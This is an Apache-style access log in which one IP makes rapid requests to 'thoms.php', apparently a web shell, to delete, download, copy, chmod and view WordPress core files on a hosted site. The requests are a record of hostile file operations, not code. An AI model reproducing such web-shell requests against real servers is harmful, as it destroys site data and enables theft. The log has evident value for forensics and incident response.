45.135.193.11 - - [11/Sep/2026:23:28:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fimages&p= HTTP/1.1" 200 12335 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:00 -0400] "GET /thoms.php?chmod=class-wp-block-metadata-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-metadata-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:00 -0400] "GET /bossini.com.tw/wp-includes/class-wp-speculation-rules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:59 -0400] "GET /thoms.php?del=customize&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=customize&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:00 -0400] "GET /bossini.com.tw/wp-includes/pluggable-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:00 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-encoding.php HTTP/1.1" 200 14288 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-encoding.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:00 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=http.php HTTP/1.1" 200 19193 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:00 -0400] "GET /bossini.com.tw/wp-includes/rest-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:00 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fcustomize HTTP/1.1" 200 19033 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fcustomize" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:00 -0400] "GET /thoms.php?chmod=theme-previews.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=theme-previews.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:00 -0400] "GET /thoms.php?chmod=theme-templates.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=theme-templates.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:00 -0400] "GET /bossini.com.tw/wp-includes/style-engine/ HTTP/1.1" 200 909 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:00 -0400] "GET /bossini.com.tw/wp-includes/class-simplepie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:00 -0400] "GET /bossini.com.tw/wp-includes/certificates/ HTTP/1.1" 200 793 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:00 -0400] "GET /thoms.php?dl=post.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=post.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:00 -0400] "GET /bossini.com.tw/wp-includes/admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:00 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:01 -0400] "GET /bossini.com.tw/wp-includes/class-wp-metadata-lazyloader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:01 -0400] "GET /thoms.php?chmod=class-wp-block-type-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:00 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-email-service.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-email-service.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:01 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=sitemaps.php HTTP/1.1" 200 13055 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=sitemaps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:01 -0400] "GET /thoms.php?dl=class-wp-term.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?dl=class-wp-term.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:01 -0400] "GET /thoms.php?dl=deprecated.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=deprecated.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:01 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fassets HTTP/1.1" 200 13153 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fassets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:01 -0400] "GET /thoms.php?chmod=class-wp-image-editor-gd.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-gd.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:01 -0400] "GET /bossini.com.tw/wp-includes/icons.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:01 -0400] "GET /thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:02 -0400] "GET /thoms.php?del=class-wp-textdomain-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59156 "http://163.245.207.76:443/thoms.php?del=class-wp-textdomain-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:02 -0400] "GET /thoms.php?del=connectors.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59159 "http://163.245.207.76:443/thoms.php?del=connectors.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftemplate.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftemplate.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:02 -0400] "GET /thoms.php?dl=ms-blogs.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=ms-blogs.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:02 -0400] "GET /bossini.com.tw/wp-includes/class-wp-taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:02 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http.php HTTP/1.1" 200 25553 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:02 -0400] "GET /thoms.php?chmod=block-template-utils.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=block-template-utils.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:03 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-error.php HTTP/1.1" 200 14099 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-error.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:02 -0400] "GET /thoms.php?del=IXR&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59158 "http://163.245.207.76:443/thoms.php?del=IXR&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:03 -0400] "GET /thoms.php?del=block-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?del=block-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:03 -0400] "GET /thoms.php?dl=class-walker-category.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59153 "http://163.245.207.76:443/thoms.php?dl=class-walker-category.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:03 -0400] "GET /thoms.php?chmod=class.wp-styles.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class.wp-styles.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:03 -0400] "GET /bossini.com.tw/wp-includes/fonts/ HTTP/1.1" 200 1409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:03 -0400] "GET /thoms.php?del=class-wp-widget-factory.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59134 "http://163.245.207.76:443/thoms.php?del=class-wp-widget-factory.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:03 -0400] "GET /thoms.php?del=link-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=link-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:03 -0400] "GET /thoms.php?del=Requests&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59169 "http://163.245.207.76:443/thoms.php?del=Requests&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:04 -0400] "GET /thoms.php?del=abilities.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=abilities.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:04 -0400] "GET /thoms.php?del=feed-rdf.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59158 "http://163.245.207.76:443/thoms.php?del=feed-rdf.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:04 -0400] "GET /thoms.php?chmod=rss.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=rss.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:04 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcss&p= HTTP/1.1" 200 12322 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:04 -0400] "GET /thoms.php?del=ms-site.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=ms-site.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:05 -0400] "GET /thoms.php?chmod=class-walker-comment.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-walker-comment.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:04 -0400] "GET /thoms.php?del=abilities-api.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=abilities-api.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:04 -0400] "GET /thoms.php?del=class-requests.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?del=class-requests.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:05 -0400] "GET /bossini.com.tw/wp-includes/class-wp-duotone.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:05 -0400] "GET /thoms.php?dl=class-snoopy.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-snoopy.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:05 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2FID3 HTTP/1.1" 200 15646 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2FID3" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:05 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fl10n HTTP/1.1" 200 13682 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fl10n" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:05 -0400] "GET /thoms.php?del=class-wp-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=class-wp-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:05 -0400] "GET /thoms.php?del=class-wp-user-request.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-user-request.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:06 -0400] "GET /thoms.php?chmod=class-walker-page.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:06 -0400] "GET /thoms.php?chmod=class-wp-date-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-date-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:06 -0400] "GET /bossini.com.tw/wp-includes/class-wp-recovery-mode-link-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:06 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class.wp-scripts.php HTTP/1.1" 200 12091 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:06 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-duotone.php HTTP/1.1" 200 23475 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-duotone.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:06 -0400] "GET /bossini.com.tw/wp-includes/class-wp-meta-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:06 -0400] "GET /thoms.php?del=class-wp-icon-collections-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=class-wp-icon-collections-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:06 -0400] "GET /thoms.php?del=class-wp-theme.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59161 "http://163.245.207.76:443/thoms.php?del=class-wp-theme.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fformatting.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fformatting.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:07 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fmedia.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fmedia.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:07 -0400] "GET /thoms.php?chmod=post-thumbnail-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=post-thumbnail-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:06 -0400] "GET /thoms.php?dl=global-styles-and-settings.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59161 "http://163.245.207.76:443/thoms.php?dl=global-styles-and-settings.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:07 -0400] "GET /thoms.php?del=json-schema.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=json-schema.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:07 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=block-bindings.php HTTP/1.1" 200 14311 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=block-bindings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
